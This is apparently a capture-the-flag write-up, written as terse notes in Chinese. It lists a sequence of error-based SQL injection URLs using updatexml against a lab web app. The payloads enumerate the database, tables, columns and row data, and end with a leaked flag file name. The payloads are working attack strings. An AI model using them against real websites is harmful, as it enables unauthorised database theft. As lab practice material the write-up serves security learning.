http://192.168.243.130:32798/?id=1′ and updatexml(1,concat(0x7e,database()),1)%23

http://192.168.243.130:32798/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase())),1)%23

http://192.168.243.130:32798/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20and%20table_name%3D%27t9e0077ddf%27)),1)%23
接下来查询 t9e0077ddf 表全部数据
http://192.168.243.130:32798/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(id,0x7e,username,0x7e,cff2cc6b5e)%20from%20t9e0077ddf)),1)%23
拿到文件位置
XPATH syntax error: ‘~1~aa~flag_318da239e_txt’
你会报错注入吗？ 某个表中，某条数据有一个文件名，访问这个文件试试？
拿到flag